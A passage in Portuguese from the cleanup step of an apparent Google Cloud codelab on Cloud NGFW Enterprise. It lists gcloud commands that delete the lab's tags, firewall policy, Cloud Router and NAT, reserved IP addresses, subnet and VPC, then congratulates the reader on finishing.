gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Exclua a política de rede do Cloud Firewall e a associação:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Exclua o Cloud Router e o Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Exclua endereços IP reservados:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Por fim, exclua a sub-rede e a rede VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Parabéns!

Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção leste-oeste e norte-sul.